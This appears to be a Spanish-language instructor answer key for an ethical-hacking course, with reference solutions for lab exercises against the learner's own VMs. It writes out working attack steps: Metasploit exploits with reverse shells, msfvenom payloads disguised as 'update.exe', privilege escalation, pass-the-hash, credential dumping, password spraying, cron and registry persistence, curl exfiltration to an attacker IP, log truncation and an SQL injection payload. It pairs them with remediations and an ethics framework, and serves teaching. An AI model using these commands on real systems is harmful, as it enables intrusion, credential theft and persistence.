Estas son claves de referencia para el instructor y para autoevaluación. Intenta resolver cada reto y ejercicio por tu cuenta antes de mirar aquí: el valor está en el proceso, no en la respuesta. Puede haber más de una solución correcta; lo que sigue es una guía técnicamente válida.
Volver al índice de la parte: ../classes/parte-3-hacking-etico-y-pentesting-metodologia/README.md
Marco ético (aplica a TODA la parte): cada comando y técnica se ejecuta exclusivamente contra laboratorio propio (VMs propias, Metasploitable2/3, DVWA) o dentro del alcance firmado de un engagement autorizado por escrito. Escanear, explotar o exfiltrar contra sistemas de terceros sin autorización es delito, incluso sin causar daño. Las credenciales y datos obtenidos se tratan como confidenciales y se destruyen al cierre.
Objetivo: un plan de engagement de una página con las 7 fases PTES, tipo de test, alcance con exclusión, métrica OSSTMM y entregable.
Estructura de referencia (caso: pyme de e-commerce):
203.0.113.0/28 + tienda.ejemplo.com. Fuera de alcance: pasarela de pagos de terceros (Stripe/Redsys), DoS, ingeniería social.Criterio de aceptación cumplido: las 7 fases nombradas, ≥1 exclusión explícita (pasarela de pagos), 1 métrica cuantitativa.
| Marco | Enfoque | Salida | Uso típico |
|---|---|---|---|
| PTES | Proceso en 7 fases | Estructura de ejecución | Guiar el engagement completo |
| OSSTMM | Medición operacional | RAV (métrica) | Comparar estado antes/después |
| NIST SP 800-115 | Guía técnica oficial | Cobertura documentada | Cumplimiento |
| OWASP WSTG | Testing web | Checklist de pruebas web | Auditoría de aplicaciones |
Objetivo: paquete de pre-engagement de dos páginas (autorización, RoE en tabla, alcance con exclusión de terceros, escalado).
| Técnica | Permitido | Prohibido |
|---|---|---|
| Escaneo de puertos | Sí | — |
| Explotación de vulnerabilidades | Sí (con check previo) |
— |
| Denegación de servicio (DoS) | — | Sí |
| Ingeniería social | — | Sí |
| Cracking offline de hashes propios | Sí | — |
| Modificación/borrado de datos de producción | — | Sí |
198.51.100.0/24, *.ejemplo.com. Fuera de alcance: infraestructura del proveedor cloud sin su autorización previa, pasarela de pagos de terceros.Criterio de aceptación cumplido: firmante identificado con autoridad, técnicas prohibidas explícitas, exclusión de terceros y procedimiento de escalado accionable.
Objetivo: informe de recon pasivo de un dominio propio, ≥5 subdominios con fuente, ≥1 servicio expuesto (Shodan/Censys), sin tráfico dirigido al objetivo.
Comandos base (todo sobre dominio propio):
whois ejemplo.com
dig ejemplo.com ANY +noall +answer
dig MX ejemplo.com +short
curl -s "https://crt.sh/?q=%25.ejemplo.com&output=json" | jq -r '.[].name_value' | sort -u
amass enum -passive -d ejemplo.com -o subs.txt
theHarvester -d ejemplo.com -b bing,crtsh -l 200
shodan host <TU_IP_PUBLICA>
Tabla de evidencia (subdominio → fuente):
| Subdominio | Fuente |
|---|---|
www.ejemplo.com |
crt.sh |
mail.ejemplo.com |
dig MX |
vpn.ejemplo.com |
amass -passive |
dev.ejemplo.com |
crt.sh |
api.ejemplo.com |
theHarvester |
Servicio expuesto: p. ej. nginx 1.18 en el puerto 443 identificado por Shodan sobre la IP propia. Criterio cumplido: ≥5 subdominios con fuente, ≥1 servicio por Shodan/Censys, cero tráfico activo contra el objetivo (crt.sh, Shodan y amass pasivo consultan terceros, no el objetivo).
%25.ejemplo.com (el %25 es % URL-encoded, comodín) y extrae name_value; verás los subdominios de los certificados emitidos.site:ejemplo.com filetype:pdf, site:ejemplo.com filetype:pdf intext:confidencial, filetype:pdf "ejemplo.com" intitle:informe.dig MX ejemplo.com +short: si devuelve algo como aspmx.l.google.com usan Google Workspace; *.mail.protection.outlook.com indica Microsoft 365.amass -passive se especializa en subdominios (multitud de fuentes DNS/CT); theHarvester añade correos y hosts y agrega buscadores. Combinados dan mayor cobertura de superficie.exiftool): autor, Creator/Producer (software y versión), fechas, y a veces rutas locales o nombres de usuario internos.Objetivo: inventario de servicios con ≥5 puertos abiertos, versión (-sV), intento de SO y salida -oA (.nmap/.gnmap/.xml en disco).
sudo nmap -sn 192.168.56.0/24 # hosts vivos
sudo nmap -sS -p- -T4 192.168.56.101 -oA full_tcp # todos los TCP
sudo nmap -sS -sV -O -p 21,22,80,139,445 192.168.56.101 -oA recon_target
sudo nmap -sU -p 53,161,137 192.168.56.101 # UDP clave
Evidencia: ls -l recon_target.* muestra recon_target.nmap, recon_target.gnmap, recon_target.xml. En Metasploitable2 aparecen p. ej. 21/ftp vsftpd 2.3.4, 22/ssh OpenSSH 4.7, 80/http Apache 2.2.8, 139/445 Samba 3.x, 3306/mysql — ≥5 puertos con versión y un SO estimado (Linux 2.6.x).
-sS (SYN) construye paquetes crudos y necesita privilegios de root para acceder a la pila de red; -sT (connect) usa la llamada connect() del SO, que cualquier usuario puede invocar, pero completa el handshake y es más ruidoso.-T2 es deliberadamente lento (mayor --scan-delay, menos paralelismo) y tarda bastante más que -T4; el objetivo de -T2 es sigilo, no velocidad.sudo nmap -p80 --script http-title 192.168.56.101 devuelve el <title> del servidor web.open|filtered en UDP significa que nmap no recibió respuesta y no puede distinguir si el puerto está abierto (servicio que no responde) o filtrado por firewall; se confirma con scripts/-sV..gnmap (grepable) permite filtrar resultados con grep/awk (p. ej. extraer solo IPs con el puerto 445 abierto) para alimentar otras herramientas.sudo nmap -sS -T1 --scan-delay 5s -f -p 80,443 192.168.56.101 (timing lento + retardo entre sondas).Nota técnica: el paso 6 del laboratorio describe
-sCcomo "categoría default + safe". En rigor,-sCequivale a--script=default(solo la categoríadefault). Muchos scriptsdefaultson ademássafe, pero no son la misma categoría; para incluir explícitamente lossafeusa--script "default,safe".
Objetivo: dossier con shares y permisos, ≥5 usuarios (con la técnica que los reveló), dato SNMP concreto y estructura LDAP, todo con comando + salida.
enum4linux -a 192.168.56.101 # SMB integral
smbclient -L //192.168.56.101 -N # shares (sesión nula)
crackmapexec smb 192.168.56.101 --shares --users
snmpwalk -v2c -c public 192.168.56.101 1.3.6.1.2.1.25.4.2.1.2 # procesos
nmap -p25 --script smtp-enum-users 192.168.56.101 # usuarios SMTP
ldapsearch -x -H ldap://192.168.56.101 -b "dc=ejemplo,dc=local"
Evidencia esperada (Metasploitable): shares tmp (lectura/escritura anónima), IPC$; usuarios msfadmin, user, postgres, service, root (por enum4linux/RID cycling); dato SNMP = lista de procesos o sysDescr con la versión del SO. Criterio cumplido: ≥5 usuarios con su técnica, ≥1 share accesible, ≥1 dato SNMP concreto.
smbclient -L //TARGET -N o crackmapexec smb TARGET --shares; los que muestran READ en sesión nula permiten lectura anónima (p. ej. tmp).snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.25.4.2.1.2 recorre la rama hrSWRunName de la MIB HOST-RESOURCES y devuelve los procesos en ejecución.VRFY <usuario> o RCPT TO:<usuario@dominio>; el script smtp-enum-users de nmap automatiza ambos. Un 250/252 sugiere buzón válido, 550 inexistente.ldapsearch -x -H ldap://TARGET -b "dc=ejemplo,dc=local" "(objectClass=organizationalUnit)" lista las OUs; la de usuarios suele ser OU=Users o CN=Users.jperez coincide con el buzón jperez@ejemplo.com, la nomenclatura de login es predecible (útil para spraying posterior).Objetivo: escaneos autenticados con Nessus y GVM contra Metasploitable2, informe con (a) hallazgos por severidad por herramienta, (b) ≥5 CVEs verificados en NVD con vector CVSS y EPSS, (c) tabla de priorización con ≥3 falsos positivos justificados.
Pasos:
192.168.56.101, credenciales SSH msfadmin:msfadmin (autenticado).nvd.nist.gov los CVEs y anotar CVSS base + EPSS.Hallazgo obligatorio (criterio de aceptación): vsftpd 2.3.4 backdoor, CVE-2011-2523, detectado por ambas herramientas, vector CVSS transcrito (p. ej. base 9.8/10.0 en CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) y remediación = actualizar/eliminar la versión troyanizada de vsftpd. Otros CVEs típicos: Samba (CVE-2007-2447 usermap), UnrealIRCd (CVE-2010-2075), distccd (CVE-2004-2687), Bind shell de Metasploitable.
192.168.56.0/24 → lista de hosts vivos antes de escanear en profundidad.Objetivo: workspace de laboratorio poblado — hosts, ≥3 servicios con versión importados de Nmap, y ≥1 módulo auxiliar ejecutado con resultado en notes/vulns, todo en workspace nombrado (no default).
sudo msfdb init
msfconsole -q
db_status
workspace -a lab_parte3
workspace lab_parte3
db_nmap -sV -p- 192.168.56.101
hosts
services
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.56.101
run
notes
Evidencia: hosts muestra 192.168.56.101; services lista ≥3 servicios con versión (21/ftp vsftpd, 22/ssh OpenSSH, 445/smb Samba); notes o vulns contiene la salida del módulo smb_version. Todo bajo lab_parte3.
set RHOSTS fija el valor solo para el módulo activo; setg RHOSTS lo fija global para todos los módulos de la sesión. Ej.: setg LHOST 192.168.56.10 evita reescribir LHOST en cada exploit.db_import escaneo.xml carga un XML de Nmap previo; verificar con hosts.use auxiliary/scanner/ssh/ssh_version, set RHOSTS <ip>, run → versión de SSH.workspace -a a y workspace -a b, escanear en cada uno y mostrar hosts: los datos no se cruzan.search type:exploit platform:unix: type: filtra la clase de módulo, platform: la plataforma objetivo; juntos reducen a exploits para Unix.Objetivo: sesión interactiva en la VM de laboratorio vía exploit real, con ejecución de comandos y documentación de exploit/payload/opciones.
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.56.101
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.56.10
set LPORT 4444
options
exploit
Tras la conexión:
sessions -l
sessions -i 1
id
uname -a
Evidencia: sessions -l muestra la sesión activa; id devuelve uid=0(root) (usermap_script da root directamente en Metasploitable2). Documentar: exploit multi/samba/usermap_script, payload cmd/unix/reverse, RHOSTS/LHOST/LPORT exactos. Alternativa Meterpreter: exploit/unix/ftp/vsftpd_234_backdoor da shell simple; para Meterpreter usar un exploit que lo soporte o sessions -u.
windows/meterpreter/reverse_tcp, con /) envía un stager pequeño y luego el resto; stageless (windows/meterpreter_reverse_tcp, con _) envía todo de una vez y es más grande pero más fiable.127.0.0.1) → "Exploit completed, but no session was created" o el handler nunca recibe la conexión.check en un módulo que lo implementa devuelve "The target appears to be vulnerable"; en uno que no lo implementa devuelve "This module does not support check".sessions -l las lista; sessions -i 1 / sessions -i 2 para moverse.smbd→/bin/sh), y firmas del stager; se detecta con reglas de Snort/Suricata y EDR.Objetivo: desde una sesión Meterpreter activa, recolectar evidencia de impacto — sysinfo/getuid, ≥1 archivo descargado, y (si el privilegio lo permite) volcado de hashes/credenciales visible en loot/creds.
sessions -i 1
sysinfo
getuid
download /etc/passwd loot/passwd # o el equivalente Windows
migrate -N explorer.exe # solo Windows
getsystem
hashdump
background
loot
creds
Evidencia: salida de sysinfo/getuid, archivo descargado en loot/, y ≥1 entrada en loot o creds. Documentar explícitamente si getsystem tuvo éxito; si no, explicar por qué (no hay ruta de escalada disponible → usar local_exploit_suggester).
migrate a un proceso estable (p. ej. explorer.exe) y luego cerrar el proceso originalmente explotado: la sesión sobrevive.run post/multi/recon/local_exploit_suggester lista exploits locales candidatos; elegir uno compatible con la versión de kernel/SO detectada.download archivo /ruta/local y comparar hash (md5sum/sha256sum) en Kali para verificar integridad.hashdump requiere SYSTEM/root (acceso a la SAM/registro de seguridad); sin ese privilegio devuelve "Insufficient privileges".screenshot) — todos como evidencia reproducible.explorer.exe), llamadas de reflective DLL injection, y conexión de red cifrada con beacons periódicos hacia un handler externo.Objetivo: generar un payload con msfvenom, ejecutarlo solo en la VM propia y recibir la sesión con un handler que coincida exactamente.
# Generación (atacante Kali 192.168.56.10)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f exe -o /tmp/update.exe
# Handler en msfconsole (MISMO payload, arquitectura y staged/stageless)
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.10
set LPORT 4444
exploit -j
Ejecutar update.exe en la VM Windows de laboratorio → sessions -l muestra la sesión. Criterio cumplido: LHOST/LPORT documentados, handler idéntico al payload, sesión activa. Documentar comando de generación y de handler.
-f exe: ejecutable standalone (doble clic/servicio). -f raw: shellcode crudo para incrustar en un exploit o inyectar; se usa cuando se necesita el shellcode sin contenedor.-b '\x00\x0a' evita el byte nulo (\x00, termina cadenas) y el salto de línea (\x0a) porque rompen payloads que viajan como strings en un buffer.-x plantilla.exe -k: incrusta el payload en un binario legítimo; -k mantiene la funcionalidad original en un hilo separado. Verificar que ambas funciones operan.shikata_ga_nai es un encoder polimórfico diseñado para evitar bad chars, no para evadir AV; los motores modernos usan heurística/comportamiento y detectan el patrón decodificador+payload en memoria.-f psh-cmd genera un one-liner PowerShell (normalmente base64 -EncodedCommand que reconstruye e inyecta el shellcode en memoria); descomponer cada segmento.set PAYLOAD windows/meterpreter/reverse_tcp; stageless: set PAYLOAD windows/meterpreter_reverse_tcp. La diferencia es / vs _.Objetivo: en una VM con SUID explotable, regla sudo insegura y cron escribible, obtener root por los tres caminos, con id mostrando uid=0(root) y contramedida por vector.
# 1) SUID (ej. find con bit SUID) — GTFOBins
find / -perm -4000 -type f 2>/dev/null
find . -exec /bin/sh -p \; -quit # -p preserva el EUID root
# 2) sudo mal configurado
sudo -l # p. ej. (root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/sh'
# 3) cron job con script escribible
cat /etc/crontab
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /ruta/script_escribible.sh
# esperar la ejecución del cron y luego:
/tmp/rootbash -p
Contramedidas: (1) retirar el bit SUID (chmod u-s), (2) corregir /etc/sudoers (no NOPASSWD sobre binarios de GTFOBins), (3) permisos 700 y propietario root en scripts de cron. Evidencia: id con uid=0(root) por cada método.
find / -perm -4000 -type f 2>/dev/null y contrastar cada binario contra GTFOBins (sección "SUID") para ver cuáles son explotables.sudoers inseguro NOPASSWD: /usr/bin/find → sudo find . -exec /bin/sh \; -quit da root (find ejecuta un shell como root).chmod +s de bash; a la siguiente ejecución corre como root.pspy64 observa procesos y cron en tiempo real sin root; se ve el script del cron ejecutándose cada minuto sin leer /etc/crontab./etc/sudoers (visudo), y fijar permisos 700 + propietario root en scripts de cron.Objetivo: en la VM Windows con servicio de permisos débiles y AlwaysInstallElevated activo, obtener SYSTEM/admin por dos caminos, con whoami = nt authority\system y remediación documentada.
:: Vector 1 — AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: si ambas = 0x1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi -o payload.msi
msiexec /quiet /qn /i payload.msi
:: Vector 2 — servicio con permisos débiles
accesschk.exe -uwcqv usuario NombreServicio
:: reemplazar el binario del servicio por el payload y reiniciar el servicio
sc stop NombreServicio & sc start NombreServicio
whoami
Remediación: (1) desactivar AlwaysInstallElevated por GPO en ambas claves; (2) ACLs estrictas (solo administradores con escritura) sobre binarios y carpetas de servicios. Evidencia: whoami = nt authority\system por cada método.
.\wp.exe > peas.txt) y clasificar los 3 hallazgos coloreados con mayor probabilidad de escalada.binPath que contenga espacios sin comillas → colocar un ejecutable en la ruta intermedia escribible (p. ej. C:\Program.exe) → reiniciar el servicio.. .\PowerUp.ps1; Invoke-AllChecks detecta el mismo servicio; comparar con la salida de WinPEAS.msfvenom -f msi + msiexec /quiet /qn /i).SeImpersonatePrivilege: fuerza al servicio spooler a autenticarse a un named pipe controlado y suplanta su token SYSTEM (documentar sin ejecutar en producción).SeImpersonatePrivilege de cuentas de servicio no esenciales.Objetivo: cadena de movimiento lateral de ≥2 saltos en el AD de laboratorio, documentando host, técnica, credencial y verificación por salto.
# Salto 1 — validar dónde el hash es admin local (Pass-the-Hash)
crackmapexec smb 192.168.56.0/24 -u administrador -H <hash_NT>
# hosts con Pwn3d! = admin local
# Ejecutar comando remoto sigiloso (WMI)
wmiexec.py -hashes :<hash_NT> dominio/administrador@192.168.56.20
hostname & whoami
# Volcar credenciales del nuevo host
secretsdump.py -hashes :<hash_NT> dominio/administrador@192.168.56.20
# Salto 2 — con la credencial obtenida, hacia un tercer host
evil-winrm -i 192.168.56.21 -u otro_admin -H <hash_NT_2>
Evidencia por salto: host destino, técnica (PtH con WMI/PsExec/WinRM), credencial usada, y salida whoami/hostname capturada. BloodHound (bloodhound-python ... -c all) muestra "Shortest Paths to Domain Admins".
crackmapexec smb <rango> -u usuario -H <hash>; los Pwn3d! indican admin local.evil-winrm -i <ip> -u <user> -H <hash> y dentro whoami /priv.secretsdump.py obtiene hashes de la SAM local, secretos LSA y credenciales de dominio cacheadas.Objetivo: alcanzar un servicio de la subred interna (no accesible desde Kali) vía pivote, con ≥2 técnicas distintas, más diagrama de topología.
# Técnica A — SSH dinámico (SOCKS) + proxychains
ssh -D 1080 -N usuario@10.10.10.5
proxychains4 nmap -sT -Pn -p 22,80,445 172.16.0.10
# Técnica B — chisel reverse (pivote sin SSH)
# Kali:
./chisel server -p 8000 --reverse
# Pivote:
./chisel client 10.10.10.5:8000 R:socks
proxychains4 curl http://172.16.0.10
# Alternativa — Metasploit autoroute + SOCKS
# use post/multi/manage/autoroute; set SESSION 1; set SUBNET 172.16.0.0; run
# use auxiliary/server/socks_proxy; set VERSION 4a; run -j
Evidencia: respuesta HTTP/banner del servicio interno inalcanzable sin túnel, por dos métodos, más diagrama atacante→pivote→objetivo con los puertos.
-L (local): ssh -L 8080:172.16.0.10:80 user@pivote expone un servicio interno concreto en localhost:8080. -R (remoto): abre un puerto en el pivote que reenvía al atacante (útil si el pivote no puede iniciar salientes). -D (dinámico): proxy SOCKS que da acceso a toda la subred.-sT -Pn.autoroute (set SESSION, set SUBNET, run) añade la ruta; verificar con route print en msfconsole.--reverse en Kali + cliente R:socks en el pivote; encaminar curl con proxychains al SOCKS resultante.-D) → pivote2 (chisel/ligolo) → objetivo; elegir la herramienta según SSH disponible y filtrado saliente.Objetivo: a partir de ≥10 hashes propios (≥2 tipos), crackear el máximo e informar la fortaleza de contraseñas.
hashcat --identify hashes.txt # identificar tipo
hashcat -m 1000 -a 0 hashes.txt rockyou.txt # NTLM, diccionario
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 -a 3 hashes.txt '?l?l?l?l?d?d?d?d' # máscara
hashcat -m 1000 -a 6 hashes.txt rockyou.txt '?d?d?d?d' # híbrido palabra+año
hashcat -m 1000 hashes.txt --show # resultados
john --wordlist=rockyou.txt hashes.txt && john --show hashes.txt
Informe: tipo de hash por conjunto, ataque usado, porcentaje recuperado, clasificación por debilidad (palabra simple, año+símbolo, reutilización) y recomendación (longitud mínima ≥14, MFA, prohibir patrones comunes). Documentar por qué bcrypt/Argon2 apenas se crackean.
-m: NTLM = 1000, MD5 = 0, bcrypt = 3200 (SHA-256 = 1400, sha512crypt = 1800).best64: la regla añade mutaciones (mayúscula inicial, sufijos, leet) y sube la tasa de acierto sin agrandar la wordlist.Nombre2024!: ?u?l?l?l?l?l?d?d?d?d?s (mayúscula + minúsculas + 4 dígitos + símbolo); ajustar longitud del nombre.-a 6 (palabra+máscara) o -a 7 (máscara+palabra), p. ej. rockyou.txt '?d?d?d?d'.--status/benchmark.Objetivo: password spraying controlado en laboratorio que comprometa ≥1 cuenta sin bloquear ninguna.
# Una contraseña contextual contra muchos usuarios (evita lockout)
crackmapexec smb 192.168.56.20 -u usuarios.txt -p 'Empresa2024!' --continue-on-success
Cadencia segura: si el lockout es 5 fallos/15 min, probar una contraseña por ronda y esperar por encima de la ventana antes de la siguiente contraseña; nunca acumular fallos por cuenta. Validar manualmente la credencial hallada. Evidencia: lista de usuarios, contraseña(s) probada(s), cadencia respetada, ≥1 credencial válida verificada, cero cuentas bloqueadas, más recomendación defensiva (MFA + lockout + alertas).
Empresa2024!, Empresa2025!, Verano2024, Primavera2025!, Bienvenido1, Cambiar123, <Ciudad>2024, Nombre@2024, Qwerty2024!, Empresa#1.Pwn3d! en admins locales.Objetivo: una persistencia por SO (Linux y Windows), verificar que sobreviven al reinicio y limpiarlas por completo con cleanup log.
# Linux — cron (instalar)
(crontab -l 2>/dev/null; echo "*/10 * * * * /tmp/.beacon.sh") | crontab -
# Linux — limpiar (editar, no borrar todo el crontab)
crontab -l | grep -v '/tmp/.beacon.sh' | crontab -
:: Windows — Run key (instalar)
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "C:\Users\Public\upd.exe" /f
:: Windows — limpiar
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /f
Evidencia: ambas persistencias reactivan el acceso tras reiniciar la VM; cleanup log con el comando de reversión de cada una; comprobación final (crontab -l, reg query) muestra que no queda ningún artefacto.
(crontab -l; echo ...) | crontab - y luego eliminar solo esa línea filtrando con grep -v (evita crontab -r, que borra todo). Documentar ambos pasos.echo "ssh-ed25519 AAAA... atacante" >> ~/.ssh/authorized_keys: sobrevive a cambios de contraseña y pasa desapercibida entre claves legítimas.schtasks /create /tn "Sync" /tr "C:\Users\Public\upd.exe" /sc onlogon /f y verificar con schtasks /query /tn "Sync" /v.| Técnica | Artefacto | Comando de reversión |
|---|---|---|
| Cron | Línea en crontab | crontab -l \| grep -v beacon \| crontab - |
| Run key | Valor Updater |
reg delete ...\Run /v Updater /f |
| Tarea | Sync |
schtasks /delete /tn "Sync" /f |
Objetivo: montar el canal HTTP del laboratorio, capturar el tráfico, aplicar egress filtering y demostrar que la transferencia del canario ahora falla.
# Archivo canario (VM víctima, sin datos reales)
echo "CANARIO-PENTEST-$(date +%s) — dato ficticio" > /tmp/canario.txt
# Destino y captura
python3 -m http.server 8000 # receptor (VM atacante)
sudo tcpdump -i eth0 -w /tmp/exfil-lab.pcap host <IP_atacante>
curl -F "f=@/tmp/canario.txt" http://<IP_atacante>:8000/upload # genera el tráfico
# Cerrar el canal (egress filtering)
iptables -P OUTPUT DROP
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -d <proxy_corporativo> -j ACCEPT
# repetir el curl → debe fallar (timeout/rechazo)
Evidencia: (a) .pcap con la transferencia identificada (destino, tamaño, protocolo), (b) regla de egress aplicada, (c) log/captura del bloqueo posterior. Solo archivo canario, cero datos reales.
Nota técnica:
python3 -m http.serverno acepta POST/uploads (responde501 Unsupported method). El objetivo del ejercicio se cumple igual, porquecurlsí envía el POST por la red ytcpdumplo captura; solo que el archivo no queda almacenado en el receptor. Para almacenar de verdad, usa un receptor que acepte POST (p. ej.uploadserver,nc -lvnp 8000o un script Flask).
dns.query.name tenga un subdominio de longitud > 50 y alta entropía de Shannon → indicio de DNS tunneling.OUTPUT DROP por defecto + permitir solo TCP hacia la IP/puerto del repositorio interno y el tráfico ESTABLISHED/RELATED; todo lo demás bloqueado.Objetivo: demostrar que una arquitectura de logging preserva evidencia pese a un borrado local.
# Reenvío de logs (VM origen → colector)
# /etc/rsyslog.d/90-forward.conf
*.* @@<IP_colector>:514 # @@ = TCP
# Generar actividad (login, sudo) y confirmar llegada al colector
# Simular borrado local:
sudo truncate -s 0 /var/log/auth.log
# Detección en Windows: el propio borrado del Security log genera Event ID 1102
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=1102} | Format-List
Evidencia: (a) config de reenvío, (b) eventos previos al truncado presentes en el colector, (c) regla/alerta que detecta el Event ID 1102 o el silencio anómalo de un host. Sin técnicas destructivas fuera de la VM propia.
$STANDARD_INFORMATION con $FILE_NAME en el $MFT; una divergencia (SI anterior a FN, o precisión en segundos redondos) delata la manipulación.Objetivo: mini-informe con resumen ejecutivo + 2 hallazgos completos + tabla de priorización, sobre vulnerabilidades del laboratorio propio.
Estructura de referencia:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 (Crítico), ajustado por exposición a internet.
- Impacto de negocio: acceso no autenticado y fuga de datos de clientes.
- Evidencia reproducible: payload exacto (' OR '1'='1' --) + captura legible.
- Remediación: consultas parametrizadas (prepared statements); WAF como mitigación temporal; ref. OWASP A03:2021 / CWE-89.| # | Hallazgo | Severidad | Estado |
|---|---|---|---|
| 1 | SQLi en login | Crítico | Abierto |
| 2 | Credenciales por defecto | Alto | Abierto |
Criterio cumplido: resumen sin jerga, cada hallazgo con CVSS justificado + evidencia reproducible + remediación específica con referencia, y priorización que considera contexto de negocio.
AV:N (red), AC:L (baja complejidad), PR:N (sin privilegios), UI:N (sin interacción), S:U, C:H/I:H/A:H → 9.8 Crítico. Justificar cada métrica.login.php línea X, y desplegar regla WAF OWASP CRS 942 como mitigación temporal".Recordatorio final: estas soluciones asumen un laboratorio propio y aislado o un engagement con autorización escrita. Ninguna técnica de esta parte debe ejecutarse contra sistemas de terceros sin permiso. La transparencia, la documentación y la limpieza de artefactos son parte inseparable del trabajo ético.